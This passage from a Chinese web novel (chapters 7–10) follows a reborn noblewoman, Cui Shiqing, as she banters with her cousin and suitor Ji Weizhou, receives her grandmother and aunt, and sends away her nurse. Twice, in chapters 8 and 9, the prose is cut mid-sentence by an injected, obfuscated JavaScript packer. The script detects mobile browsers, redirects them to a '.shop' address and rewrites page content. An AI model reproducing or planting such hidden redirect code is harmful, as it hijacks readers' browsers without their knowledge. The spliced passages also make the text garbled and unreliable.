“乖女娘。”纪危舟亲了亲她的发顶,轻轻抚摸着纤薄的脊背,耳语着。 崔时清蜷缩着身子,感受着宽阔的肩臂拢着她,像呼吸一样唾手可得的安全感,有力地包裹着她。即便是夏日,也让她舒服地哼哼出声。 “软软,早点成婚吧。”纪危舟的声音低沉磁性,蛊惑着。 “嗯。”崔时清眼皮也不动。 “我们不合离。”纪危舟低低出声。 “哦。”崔时清的声音染着浓浓睡意。 “软软喜欢我吗?”纪危舟很轻地问。 “好。”崔时清拖长了尾音。 “……” 纪危舟闷声笑着,震颤的胸膛惹得崔时清面颊发痒,发出不满的一串呜声,蹭了蹭软嫩的颊肉,又蛄蛹着往他怀里钻。 大掌托着脆弱的后颈,纪危舟在她耳边,又问。 “你会陪我多久?” 崔时清呼吸绵长,睡颜香甜,没有再回应他。 7. 福气 一夜好梦。 崔时清睡得双颊红粉,疲乏一消而散,浑身都松快了起来。 用了朝食,服过汤药,正差事着桑麻从箱笼中寻几件趁手的玩意儿、把玩添趣,吴氏和国公夫人陈芝岚便来了丹青院。 “外祖母、舅母可用过朝食了吗?” 崔时清上前迎人,与陈芝岚一左一右,扶着吴氏入座。吴氏还未开口,跟在后头的钱嬷嬷就戏笑着告起状。 “哪里用了?眼皮子刚睁开,还挂着泪珠子,听说县主病了,一口水米也不用,急哄哄地就要出门呢。” 正院的尤嬷嬷也想开口,却被陈芝岚嗔怪地睨了一眼,跟在钱嬷嬷身边,掩嘴偷笑。 崔时清也知道昨夜挺吓人的,不说旁人,她也有些后怕。 从侍女手里接过茶盏,奉与吴氏和陈芝岚,待她们喝过茶,崔时清才挨着吴氏坐下,神色怏怏地撒了撒娇。 “还是外祖母和舅母疼我。” “可怜见的,这小脸都瘦了一圈。”吴氏瞧见外孙女委屈的模样,心窝像被割了肉,怜惜地搂着她,不舍得松开。 看着吴氏与崔时清腻歪了一阵,陈芝岚温声问:“庄子里的茶饭合口吗?派人把拂仙楼的厨子请来,可好?” 拂仙楼有几道茶饭很对崔时清的口味,陈芝岚知道,便不时请来楼里的厨子入府,给她加菜。 崔时清从吴氏怀中抬起脸,歪头看着陈芝岚,娇娇地说:“还要舅母屋里的糖蒸酥酪和香杏凝露蜜。” “好,我让青竹做好,给你送来。”陈芝岚自是不会拒绝,笑盈盈地看着崔时清。 这位外甥女八岁入国公府,上有婆婆吴氏、夫君纪光看重着,再加上崔时嫡女、君主身份压着,她事事爱护周到,自认无可挑剔。 却不知怎么的,一样的水米,却养得幼时冰雪可爱的小团子,越发乖戾跋扈,眼下又出了这茬子事,也不知日后何去何从。 心里想着,陈芝岚面上却不显,拨弄着手里的团扇,给吴氏送风,余光扫了一眼尤嬷嬷,对方了然,遣退了屋里的奴婢,她才状似随意地问:“时娘向来体健,怎么突发急症,可是院中奴婢伺候不当?” 崔时清迎上吴氏关切的目光,笑了笑,才答:“天热暑重,难免乏累了些。昨儿用了汤药,已然大好,外祖母和舅父舅母不必忧心。” 吴氏握着崔时清的手,不知怎么的,触及她还显稚幼的眼神,心头的许多话,便有些说不出口了。 再看她身上的痕迹,虽说过了两日,还特意敷粉遮掩,依旧触目惊心。 吴氏有些动摇。 “庄子不比府里,若有不便之处,可要与舅母说,不许委屈了自个儿。”陈芝岚摇了摇团扇,眼睛在屋里看了一遍,表情不太满意地说,“怎么缺了好些摆件?晚些时候,我亲自搬点你舅父私藏的宝器来,供你赏玩。” 崔时清也得体地说:“有舅母在,自是一切便利的。至于舅父的私藏,我人还小,哪里懂得赏玩这些?还是留着舅父闲暇时,自添趣吧。” “他呀,添趣的玩意还少了?书房里那些个东西,早些归了你们几个小的,还省得他心痒难寐呢。”陈芝岚故作精明地眨了眨眼,把吴氏逗得直乐呵。 崔时清歪着头,思考了片刻,“那便收下?舅父要是想把玩了,我就办个赏宝宴,让他欢喜!” “外甥向舅,还真是不假!我最眼馋的,就是他这个宝贝疙瘩了。”陈芝岚揉了揉崔时清面团似的颊肉,好一阵唏嘘。 尤嬷嬷接茬:“县主送来正院的珍奇玩意也不少了,要我说,别家夫人才是最最眼馋的呢!” 陈芝岚抬起下颌笑着,好生得意。再看着崔时清,似是越看越欢喜,直瞅着一眼不错。好半天,才喃喃着,自语一般说道。 “好女娘,也不知,谁家有福气能娶来……” 崔时清一怔,没有接话。 吴氏敛着面色,也像是没有听到。 里屋安静了一瞬,尤嬷嬷又道:“县主这样的神仙人物,只怕就这郎婿名录,都得挑花了眼。” 崔时清看了一眼吴氏,见她面容慈爱,神情淡然。又看向陈芝岚,这位舅母依然笑盈盈的,让人瞧不出心意。 她垂下眼眸,作出女娘家的羞状,低声道:“这长辈做主的事儿,嬷嬷就勿要拿来打趣我了。” “你们这些顽皮,惹得小辈红了脸,能多吃几碗茶饭了?”吴氏护短地把崔时清拥入怀里,瞪了一眼尤嬷嬷。 “还是老祖宗心疼我们县主,奴家知错了,不敢再犯。”尤嬷嬷恭维一通后,屈膝赔罪。 吴氏挥了挥手,瞅了一眼屋外,看向陈芝岚,“七郎该回正院了吧?你去瞧瞧,也让他安心。” “是,儿媳告退。”陈芝岚与崔时清笑了笑,行礼退下。 崔时清声音脆生生地问:“我陪着您,再用些朝食?” 吴氏慈爱地笑道:“好呀,外祖母最喜欢软软陪着了。” 一老一小又腻歪了一会儿,吴氏拉着崔时清的手,有些怜惜地抚了抚腕子上的牙印,语气不快地问:“听说,昨儿三郎擅闯了院子,惹你生气了?” 也是亲眼看到,她才知道听闻非虚。 没见过世面的郎君,就与没吃过肉骨头的狼崽子一样,不知疼人。 兴许是年岁大了,不比年轻时心硬,身边教养大的女娘,说嫁就嫁了。 看着有几分相似的眉眼,吴氏颇为动容,思念起多年不曾相见的亲女,也愈发怜惜乖巧窝在身边,嘘寒问暖的小女娘。 崔时清垂眸沉默了片刻,抬起头来,笑着摇了摇头。 “表兄是有荒唐之处,可,还是不敢惹我发怒的。我这病来得急,与他倒也没什么关系。” “……软软想好了?”吴氏心里发虚。 这一次,崔时清没有再装傻。她点了点头,看着吴氏,应了一声。 “表兄待我,比之前好。” “……” 狼崽子为了吃口肉,有什么做不得的? 吴氏欲言又止地瞧着崔时清,暗暗谴责纪危舟心思深沉。 思来想去,吴氏字斟句酌地慢声道:“近来听闻京都内有些看似沉稳内敛、刚正秉直的郎君,为了讨甜头,哄得女娘子五迷三道、掏心掏肺,还有巴巴地献出嫁妆的。” 崔时清认真听着,表情有些惊讶。 吴氏看着崔时清,继续说:“也不知这傻女如何想的?没了嫁妆,就失去了立身之本,从此只能依靠夫家的良心而活,苦日子怕是不得少的。” 崔时清颇为认同,感慨了一声,“两姓联姻,掺杂了这些糟污,怕是不得长 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但那时,她一心扑在纪危舟身上,无所不用其极地作恶,惹得他们不喜,一家人甚至没有好好坐下来,吃过一顿茶饭。 她在孤山尸骨无存,也不知他们有无上山寻她,为她立一个衣冠冢。 这一世,他们还是会气她吧?气她,荒唐行事,与人私定终身。 崔时清抿了抿唇,压下心中的烦闷,歪在吴氏身边,又与她说了一会儿话,陪着她用过朝食,送她出了屋子。 自正院送来了东西,其他院子也陆续送来了礼,还有补汤食盒、几碟子点心,把桌子摆得满满当当。 崔时清看着柳氏和桑麻等人清点造册,有些新奇的番邦之物,柳氏就捧着让她掌眼,崔时清也不过随意扫了一眼,便兴致缺缺地用着茶饮。 眼见着收拾妥当了,崔时清放下茶盏,目光落在桑麻身上,停了须臾,没有什么表情地看向柳氏。 “阿姆。”崔时清的声音平平,没有温度。 “……奴家在。”柳氏的心猛地一跳,恭敬应声。 “我观阿姆近来精神不济,正好庄子景色好,适宜将养身子,这些日子就不必来我跟前伺候了。” 柳氏不敢置信地望着崔时清,许久都说不出话来,最后眼眶湿红、磕磕绊绊地问:“主子身边没有可靠的奴婢伺候,奴家怎好躲懒?” 崔时清点了点茶盏边缘的滚金花纹,漫不经心道:“桑麻得了阿姆真传,还是中用的。玄鱼是差了点,外院的若兮有几分机灵,且把她调来,与桑麻作伴吧。” “时娘……” 柳氏的声音透着哀求,崔时清却不给她讨饶的机会,声音微沉,眼睛里透着不耐。 “阿姆,桑麻是你的女儿,我重用她,你不喜吗?” “……奴家不敢,奴、奴家这就把若兮领来。”柳氏面露灰败,不敢再争,屈膝退下,路过桑麻时,脚步顿了一下,嘴唇翕动着,终是红着眼,无声离开。 桑麻深吸了一口气,双手奉上卷册,“主子,奴婢已清点好各院送来的物件。” 崔时清拂落茶盏,低吼道:“都滚出去!” 一阵慌乱后,里屋又恢复了平静。 崔时清面无表情地看着一地狼藉,心里却没有半分松快。 8. 胆大 崔时清想起柳氏,从小陪着她,陪着她在崔氏主家、陪着她来京都国公府,给了她于生母纪月隐身上得不到的偏爱。 是的,偏爱。 毫不犹豫地、选择她的偏爱。 所以,她愿意纵着柳氏的小心思,纵着无伤大雅的僭越,让她们的关系超乎寻常主仆的亲密。 但,并不包括,背主。 哪怕是爱她如命的柳氏,也不能打着爱护的名义,背叛她。 桃花眼恹恹地抬起,觑着一室空寂,崔时清的心像是被蚂蚁啃食般焦躁难忍,漆黑的眸子黯淡无光地盯着地上的碎盏,双手不受控制地拉扯着一串佛珠。 “崔氏规训都忘了吗?” “你不能和他作对,你付不起这个代价。” “再送你回主家。” “好不好?” 啪嗒一声,随之响起玛瑙珠子落地叮叮当当清脆的声响。手心空落的不适感传来,崔时清停下神经兮兮的自语,皱着眉,神情懵怔地看着双手。 丝线轻飘飘地落在掌心,其中一头紧紧缠绕着她的食指尖,染了血色。 “……阿姆。” 鸦黑的长睫连颤了几下,湿漉漉的眼睛四处望了一圈,却没有搜寻到那道熟悉的身影。崔时清又呆了片刻,才惊觉自己做了什么。 一时间,懊悔、伤心尽数涌上眼中,大颗的眼泪顺着长卷的睫毛,成串滑下。 “来人,我要、要……” 崔时清骤然被软弱所裹挟,想要改变主意。她哽咽着开口,想把柳氏唤回。让柳氏替她找来女医,上过药,再搂着她,轻哼几曲小歌,哄一哄她。 她会原谅阿姆的。 青灰色的衣袂落入眼中,崔时清眨落眼里积蓄的泪,正要看清来人,让她厌烦的嗓音就在耳边响起。 “这是怎么了?” 纪危舟跨过地上的碎瓷珠子,把哭得泪痕斑驳的女娘子揽进怀中,抱着安慰地颠了颠。 “讨厌鬼!” 崔时清无处躲藏狼狈,恨得牙痒痒的,用没受伤的手,砸了纪危舟好几下,还不解气,张口就咬住他的耳朵。 理智让她收着劲,不敢咬出血来,磨了磨牙,直到听到一声闷哼,心中痛快了些,才松了口。在轻颠中,不自觉地往纪危舟的颈窝上蹭了蹭,委委屈屈地靠在了他的肩上。 纪危舟握着她的手,小心取下指尖的丝线,抚了抚,柔声问:“疼吗?” “……才不疼。”崔时清闷声应了下。 纪危舟摇了摇怀中的女娘,轻哄道:“我给你上药?” “你会吗?”崔时清有些犹豫。 “我定比医女还要仔细的。”纪危舟低下头,亲了亲指尖上的伤处。 冰冰凉的唇瓣,软得不可思议。只一瞬,指尖上的绵软冰凉直通心底,好似散去了疼痛,连带着眼中的委屈,也在丝丝凉的触感中,少了大半。 崔时清没了意见,垂眸安静地看着纪危舟为她洗面净手,又取出膏药,动作轻柔地涂抹伤口。 这双手,是挺稳的,也、挺好看的。 崔时清暗道,面上没有一丝异样,沉稳淡然,黑漆漆的眸子像是在看着寻常死物,没有半分波澜。 “耳朵怎么红了?”纪危舟摸了一下,惊讶道,“这么烫!” 咬的是他的耳朵,小女娘的怎么红了? “……”崔时清忍了忍,戳了戳纪危舟面颊,气急败坏道,“谁许你摸我耳朵的?” 说完,崔时清觉得不好,目光偏移几寸,补充了一句,“这艳阳天,我太热了!” “我也热的。”耳垂上的湿濡让他口干心热,浑身都躁得慌。 纪危舟瞅了眼不远处的冰盆,问,“唤人进来加冰?” “那你还不走?”崔时清语气不善地赶人,却没有起身从纪危舟的怀中离开的动作。 “我又不热了。”纪危舟收紧了手臂,箍着纤细的腰肢,耍赖道:“我不走。” 崔时清眨了眨眼,散漫地嗤了一声,嘲讽道:“你这成天翻墙入院,窝在女娘子的屋里,书也不读,像什么样子了?” 纪危舟轻笑着,问:“软软想读什么书?我让江南送来。” 崔时清翻了个白眼,“说的是你,怎么扯到我这儿了!” “我想与你待在一处。”纪危舟理所当然道,“况且,软软既要督促我上进,总要陪着我才对。” 崔时清一阵无语。 谁要你上进了?!不许上进! 崔时清眼睛转了转,指了指窗棂边的案几,上面累堆着几册书卷。 第一世,只因她在私塾里翻看了几页话本子,纪危舟便出言训斥过她。彼时她还小,被几句大道理牵着鼻子走,也不知反驳,丢了好大的脸。 正好趁着今日,出口气! “不想走也行,那儿有话本子,你念给我听。” 话说完,崔时清就盯着纪危舟,只等他‘故态复萌’,好生羞辱一通。岂料,对方却一脸兴致地单手抱起她,来到案几旁,认真挑拣了起来。 这都是什么? 口味,变得这么重了? 纪危舟连翻了几本凶残恐怖的鬼故事,面上的欣喜也没了痕迹,拿着本《鬼气肆流》,欲言又止地瞅着怀里的娇娇娘,片刻轻叹了声。 这是什么表情?崔时清歪头想了想,顿时乐了。 “你是害怕了?” “……不是怕。”是失望。 他俩窝在一处,不读些花好月圆、缠绵悱恻的话本子,也不该看这些啊! 纪危舟的手在《怨念谷》和《残肢归来》之间停了半天,果断选择放弃。 崔时清得意坏了,脚尖轻快地踢踏了几下,尽情嘲笑,“这么大的人了,居然怕鬼?” “……自是没有软软胆大。”可以惹得小女娘开怀,纪危舟也就没有什么负担地认了下来,抱紧怀里的人,暖了暖心窝子。 “瞧你这小样子,青天白日还能被鬼怪吃了去?”崔时清转念一想,眉眼弯弯,拉长了声音,吓唬人,“不过,世事无定数,万一不走运,也有可能的哦。” 她意味深长地望着纪危舟,亮了亮整齐的小白牙,笑得明艳恣意。 崔时清素来不爱看闲书,第一世的话本子也不知是何人的,她看见书案上多了本《卿卿念念》,好奇之下翻了两页,就被揪出来教训一通,气得她好几天都吃不下饭,这之后更是看到话本子就来气。 可自打重生,她收罗起奇闻怪异的书卷本子,想要从中找出些许线索,来解释这些离奇遭遇。 毕竟死过八回,她也不好说,自己究竟是人是鬼。可寻来找去,也没看到什么鬼怪重生的先例,想来还是看得书太少了! 再后来,她也习惯拿着这些鬼怪之谈来消遣,偶尔还能在同类的身上学些狠毒的招数,也是上进。 因果轮回,这些小习惯帮她出了口气,崔时清很欢喜,连心尖都舒畅得泛起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355195|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝丝缕缕的甜。 “软软可要护着我才好。”纪危舟看着浑身散发愉悦气息的女娘子,连忙索要起报酬。 崔时清弯了弯眉眼,“哦,护着护着。”才怪! 纪危舟说话间,顺顺当当地黏着崔时清不放,得来敷衍地两下轻拍。 “还要。”纪危舟脸不红气不喘地说。 “……”崔时清用力拍打了几下,瞅着有些费手的皮肉,恶念在心中转了几道,终是气呼呼地扭开头,深吸了一口气,讥笑,“哪儿来马奴?皮糙肉厚的,胆敢跑来内院!” 纪危舟随口笑问:“你又怎知,马奴生得如何了?” 还不等崔时清有反应,他就想到女娘子躲在骏马之后,偷看马倌的模样,心口莫名闷滞,连呼吸都重了几分。 崔时清歪头想了想,她确实不知,可面上功夫却输不得,就笑了一下,面露不屑地摆了摆手,一副懒得与其争辩的表情。 纪危舟一时不察,被唬住。眸光沉沉地瞅着女娘子浑不在意的姿态,胸口的不适压得他十分难受,也顾不得其他,箍紧了腰肢,似是要把人往骨肉里藏。 纪危舟:“怎么不说?” “有什么好说的。”真难缠! 崔时清烦躁地皱着眉,也一脸不高兴地盯着纪危舟。 纪危舟不依不饶地问:“看了几个马倌?” 崔时清气呼呼地说:“一个!” 纪危舟回忆着庄园和国公府内的养马人,一张张面孔浮现脑中,他带着挑剔的眼光,暗暗腹诽了几遍,猛然察觉到自己的念头,不由感到荒唐。 突来的情绪,走得也快。纪危舟看着恼羞成怒的女娘子,顿时了然,低笑着问:“看得可满意?” 这笑嘻嘻的不正经模样,崔时清还有什么不明白的。她默了一瞬,还是嘴硬道:“要你管!” “怎么生气了?”纪危舟满眼无辜望着她。 崔时清凶巴巴道:“我们还没成婚呢!谁许你管我的事情了?不对,成不成婚都不许管我!” “哪有管了?我就是问问。”纪危舟忍不住在气鼓鼓的面颊上亲了几下,扬起唇笑道,“若是你看得不尽兴,可不是我的过错吗?” 狡猾的狗东西! 崔时清暗骂一声,指尖戳了戳他厚颜,怒问:“与你有什么干系了?谁给你的自信?” “自然是软软给我的。”纪危舟好不得意地笑着。 “……”对,我是太给你脸了。 崔时清深刻自省,拍了拍纪危舟的肩膀,语气冷淡地说:“放我下来。” “不要。”纪危舟想也不想就答。 凭什么?! 崔时清又猛戳纪危舟心口,直到指头发疼,气得眼睛红红的,怒问:“我又不是三岁小儿,你这样抱着,本县主还要不要颜面了?!” “不会有人知道,软软是这般可爱的女娘子。” 纪危舟克制地亲了亲泛红的眼尾,又怜爱地搂抱着怀里的小女娘,闻了闻香软的味道,心口热热的。 这厮,怎么疯疯的? 崔时清呆了呆,莫名有种成为了掌中娃娃的古怪感,懵懵然地任其把玩了片刻,倏然回过神来。双手高举,死死掐着纪危舟的脖子,也疯了起来。 “狗东西!胡说八道什么!你可爱!你才可爱!” “是是是,我最可爱。” “……” “软软?” “啊!”崔时清咆哮。 9. 祖宗 一个上午,崔时清的耳根子就没清净过,与纪危舟你来我往地斗了一番。用过茶饭,也顾不得伤感柳氏之事,就蜷在锦衾里,呼呼睡下。 午歇起来,太阳已然西斜。 崔时清睡得浑身酸软,不愿待在屋子里,就让人清退了院子里的闲杂仆役,慢慢悠悠出了门。 丹青院中,开辟了一处荷塘,景致不错。 她没多想,抬脚就往后院走。路过一片小竹林,树影婆娑、清风来伴,惹得崔时清又生了几分惰性,便不愿走动了。 往凉亭摇椅上一躺,眯着眼睛望着竹叶间斑驳的光影,感受这难得的惬意。 婢子们端来茶果引子和点心,崔时清看了眼正院送来的糖蒸酥酪和香杏凝露蜜,默然片刻,仰头看向一直跟在桑麻身边,没什么存在感的若兮。 这是她的好舅母、陈芝岚的人。 陈芝岚本不必掺和外甥女和庶子的恩怨,她也一直是这么做的,置身事外。 第七世,却一反常态地做出了选择,启用暗线,收集崔时清的罪证,交与皇后。在铁证如山之下,崔时清被判了五马分尸。 可到了第八世,一直到崔时清在孤山惨死之时,却再不见她有任何动作。 是什么改变了她的好舅母? 崔时清收回视线,依靠着摇椅,漫不经心地晃动着。 是她杀了不该杀的人? 还是,因为纪危舟的身世? 可这和皇后有什么关系,为什么陈芝岚要把证据交给皇后?而皇后杀伐决断地严判她,好像是在给谁出气一样。 脑中闪过一个模糊的念头,还没来得及细想,肩臂就被团扇剐蹭了一下。 不疼,但是很恼火。 崔时清面无表情地看向脚边,冒冒失失下跪认错、浑身抖成筛子的玄鱼。 “奴、奴、婢……错、撩,主子饶、饶恕婢、婢吧……” 崔时清的眼皮连跳了几下,用力按着扶手,气得脑壳发疼。 是谁? 究竟是谁把这缺根筋的呆头鱼送来她院子的! 桑麻看见主子被气得面红耳赤,临近爆发,连忙跪在玄鱼身边,拿来团扇不轻不重地送去凉风。 若兮见状,有样学样,双手高举茶饮奉上。 同伴的相助,让玄鱼的心暖呼呼的。她定了定神色,也端起点心,侍奉主子食用。 不能生气。 可不能再气死一回儿了。 崔时清忍着不去看端着点心,暗暗垂泪的呆头鱼,喝了一口微凉的荔枝香引子,有气无力地瘫在摇椅上,目光有些呆滞。 还是感觉,好憋屈。 她堂堂崔氏女,怎过得如此不顺意呢? 思来想去,怎么也想不通。 杀念在心中滚了几回,烫得她浑身发烫。每每正欲开口,眼前却闪过哭得稀里哗啦求饶的场面,便感到闹心,对玄鱼这条小命也没了兴趣。 眼不见心不烦,崔时清闭上眼睛假寐。闻着扑鼻的竹香,习习凉风拂来,焦躁也慢慢褪去。 不知过了多久,桑麻低声询问,“主子,是否命人将夕食送来此处?” 崔时清看了一眼身边的婢子,视线落在若兮面上,停了片刻,淡笑地问:“怎么不起身?” 若兮弯下腰,恭敬道:“奴婢们一心盼着服侍主子,不敢起身躲懒。” 崔时清多看了若兮几眼,轻笑着,“你倒是、很不错。” 聪明又稳重。不像…… 崔时清幽幽地看着玄鱼那双透着清澈愚蠢的肿眼泡,没了脾气。挥了挥手,在桑麻的搀扶下起身,准备打道回屋。 该用汤药了,可不能误了时辰! 刚走出没两步,脚步一顿,崔时清回过身来,眼睛直瞅着西院墙,看了一会儿。 “这也不低呀?” 她自语一声,不由走到了院墙下,仰头瞧着,又低头顺着墙根处寻了寻。 扶着崔时清在墙角杂草丛中走了一圈,桑麻低声问:“主子是在找什么物件吗?” “……”崔时清犹豫了一下,还是拉不下脸,说她是在找狗洞。表情严肃地瞪着院墙,思考了片刻,指了指墙角边的大树。 “砍了它。”那厮定是顺着这树爬进来的。 “是。”桑麻应声。 回去的路上,崔时清还不忘再嘱咐一声,“连根都掘了!不许让它活过今夜!” “奴婢领命。” 得了肯定的答复,崔时清心满意足地回了屋子,连带着胃口大开,多用了半碗粥米。 用过夕食,溜达着消了食,又在花厅玩了会儿投壶。崔时清颇有兴致,就窝在软榻上,听着婢子们闲谈趣闻。 “赵嬷嬷也是奇人,前半生无儿无女,没曾想这临老了,一时心善捡来个状元孤子,竟成了官家老夫人了!”玄鱼的眼睛睁得圆圆的,手舞足蹈地说。 桑麻用软帕子包裹住崔时清的湿发,动作轻柔地擦拭着,听着玄鱼激动的声音,不由笑了笑。 人人都有猎奇之心,新科状元赵晋的身世与他对养母的孝心很是博人眼球,茶馆的说书先生紧跟这波热潮,又添油加醋地杜撰了许多感人肺腑的故事。眼下这状元孤子在京都城中已是无人不知,甚至连今上都存了高看之心,嘉奖了他。 崔时清看着玄鱼红扑扑的脸蛋,一双眼睛亮亮的,存了几分少女的羞涩,不由歪头回忆了片刻,脑中却仅有一个模糊的影子。 想来谕旨钦点,让小女娘们存了思慕之心的状元郎,总不会长得太寒碜的。 “赵嬷嬷是哪个院子的?”崔时清懒洋洋地问。 若兮等了几息,才答:“原是小公爷身边的冰炭管事。” 崔时清嫌恶地皱起眉头。 纪舒明,国公府嫡子。本是她正儿八经的表兄,也合该与她最是亲近才是,可偏偏俩人八字相冲。 崔时清嫌他是舞刀弄枪的莽夫,纪舒明嫌她是心狠手毒的世家女。幼时他们常常吵闹,稍大了些,在长辈们的调解下,他们就权当彼此是茅坑里的石头,看到就掩鼻拐道。总归面上也算过得去,家中人就不再操心。 崔时清扭头问:“他今天送了什么怪东西?” 玄鱼和若兮还不在状况,桑麻了然地垂下眼皮,放平了语调,试图以此缓和主子的心情。 “小公爷送了一对山鸡,是昨儿与六皇子在猎场捉来的,让您炖了汤养养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355196|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子。” 桑麻抿了抿唇,还是不敢把纪舒明说得后半句话补上。 ——切记留下一只养着,你家主子闲得慌了,还能赶出来吵吵架。 崔时清想起多用了半碗的鸡丝粥,扯了扯唇角,习惯性地阴阳了两句,“他那么能,捉什么山鸡?去打老虎呀!” 婢子们安静如鸡。 崔时清想了想,还是想找茬儿。倏地起身,双腿盘坐,眼神犀利地瞅着桑麻。 “都炖了?” 桑麻硬着头皮答:“还、留了一只。” 崔时清眼睛一亮,冷笑着说:“拿上来,让我掌掌眼!” 桑麻:“……是。” 不多时,桑麻亲自提溜着一只精神奕奕、羽色鲜亮的山鸡,送来主子跟前。 山鸡似是觉得新鲜,滴溜溜的鸡眼一顿一顿地张望着,红白相间的长尾不时抖一抖,昂首挺胸的姿态,与鸡皇巡视领地,差不了多少。 “不是猎物吗?怎么长成这样?”崔时清忍不住凑近了些,与鸡皇四目相对,更是诧异道,“谁给山鸡洗的澡?” 桑麻面有难色地抱着鸡皇,“想来,是小公爷命人洗的。” 崔时清歪着头,瞅着红鸡头,语气肯定地说:“古怪!其中一定有诈。” 桑麻:主子英明。 崔时清思忖着,开口道:“把这鸡送去、让吴老检查一下,有无问题。” 不怪她心思深。 主要俩人积怨已久,又是常年在长辈们跟前争宠的对手。那没正行的突然送了山鸡来,给她养身子,就不能怪她多想,是不是缺胳膊断腿、歪眼斜嘴的病鸡。 桑麻:“……是、是否派人送去城中,让专人检查?”送只山鸡进医馆,山鸡无碍,吴老恐怕就难说了。 崔时清没有意见,点了点头,让她去办。 山鸡不舍新得来的领地,扭着圆鼓鼓的身子,叽叽喳喳着,不肯走。 崔时清自然不会惯着,瞪了它一眼,挥了挥手,桑麻就麻利地抱着它退下。 正揣度着纪舒明是在使阴谋还是阳谋,还没有什么头绪,桑麻怀里没了山鸡,却多了个素雅的青瓷。 “三公子送来了两尾金鲫鱼,您可要瞧一眼?” 崔时清托着腮,没好气道:“我这儿是教宠所吗?一个两个的,送个活祖宗来,想做什么?” 桑麻犹豫地问:“也让采办收着,明儿送去城中?” 崔时清闷不吭声,眼睛往鱼浅里瞄了瞄。两尾红白相间的鱼儿只有一指长,体态小巧玲珑,时沉时浮,还是有几分趣味的。 崔时清好奇道:“金鲫鱼要如何投喂?” “三公子送来一袋鱼饼,说是每日喂上两次便可。” 崔时清歪着头,看了会儿,指了指不远处的花几,“放那儿。” 桑麻有些诧异,面上却不显,低头答话,捧着鱼浅安放在花几上,又进出了一回,用青釉刻花碟子装了几块鱼饼,置于鱼浅旁。 夜深,正要入寝的崔时清路过花几,没忍住取来鱼饼,掰成小块投喂金鲫鱼。看着两尾小鱼头顶着头争食,崔时清弯了弯眉眼,喜滋滋地说。 “傻眼了吧?嘻。” 10. 我的 这一夜,崔时清做了好几个美梦,主角都是纪危舟。 不是掉入树坑,就是撞了鬼。旁观死对头灰头土脸、被吓破胆的凄惨模样,崔时清生生把自己笑醒。 “如此欢喜,可是梦见什么了?” 崔时清面上还挂着笑,眼睛顺着声音的方向望去,桃花眼湿蒙蒙的,一时分不清是在梦境还是现实,双手却第一时间捂住了嘴,扑哧一声,忙着幸灾乐祸。 “你好惨啊!” 崔时清没忍住,缩在衾被中,只露出个毛茸茸的小脑袋,捂嘴笑出了声。 纪危舟伸手揉了揉蓬松的发顶,完全没有深究梦境的念头,眼里含着笑,调侃道:“软软连梦中都在想我吗?” 头顶的掌心热热的,带来扎实的触感。崔时清愣了一下,桃花眼直勾勾地瞅着眼前的人。 贪吃鬼不是吃了他半颗脑袋、一只手臂和半截肚子吗? …… 崔时清心不甘情不愿,实在是接受不了空梦一场。拉过那只碍眼的手,抱起就啃了一大口。 下一瞬,吐出来,整张脸都皱了起来。 “噫,好硬!你是石头转世吗?这么难啃!” “……抱歉。” 在崔时清理直气壮的控诉下,纪危舟成功被带歪,张口就与她赔罪。道完歉,觉得新奇得很,直乐呵。觉得自己好笑的同时,也不忘弯下腰,轻轻掐着崔时清的面颊,安抚般亲了亲她的唇瓣。 亲了一下,又舍不得离开,抱起香软的小女娘,一寸寸地与她赔罪。 直到俩人气喘吁吁抵着额头,‘深情’相对,绣着流云的锦衾已凌乱不堪,皱皱巴巴地堆在角落。 崔时清像是被妖精吸干了精气,面颊红晕成片连着耳根,身子却是没了半点气力,连手指尖都瘫软成泥,只得虚弱地倚在纪危舟的身上低喘着。 纪危舟亲亲红粉的面颊,又勾勾绵软的手指头,爱不释手地喟叹一声。 “软软真可爱。” 崔时清默默忍受纪危舟的小动作,语气冰冷冷地说:“不要挑衅我。”实在、是没力气掐架了。 “想要软软。” 纪危舟把面颊埋进雪白间,深吸了一口气,抬起头来,幽沉的黑眸直勾勾地盯着崔时清,直把她看得心底发毛。 他都不会累的吗? 苟活的念头给崔时清注入了一股力量,她又有力气吵架了。当即先发制人,揪起一把头发,扯了扯,表情凶狠地质问。 “你怎么不知羞?!” 纪危舟夺回自己的头发,振振有词地反驳道:“与未婚妻子亲近,怎可羞怯!” 崔时清不依不饶,偏要揪着他的发丝,以此用来胁迫。纪危舟来回争夺了几次,在愈发严厉的目光下,只能转而握着崔时清的手,可怜巴巴地瞅着她,希冀得来一丝怜惜。 崔时清小胜一筹,洋洋得意地攥着他的发,却也没有再发力示威,只微瞪着桃花眼,逼问。 “你是怎么进来的?” 难不成还会飞天遁地不成?!是的话,她就要生气了! “从北院墙进来的。”纪危舟观察着崔时清的神色,当即面有难色地补充道,“那边的树也不知多久没有修剪过了,一堆横枝烂叶,让人无处落脚。瞧这衣袂,都被刮了好几道口子。” 崔时清抿着唇,眼睛在破破烂烂的袖口上看了许久,唇角抽了几下,不可自抑地向上扬了扬。 天道之子也不怎么厉害嘛!爬个树,还怪狼狈的! 纪危舟凝望着忍笑的小女娘,便觉得进屋前,用匕首划破衣袂的招数,实在妙得很。眼眸微转,继续装着清白的眼神,弱弱问道。 “软软,西院墙的树怎么被砍了啊?” 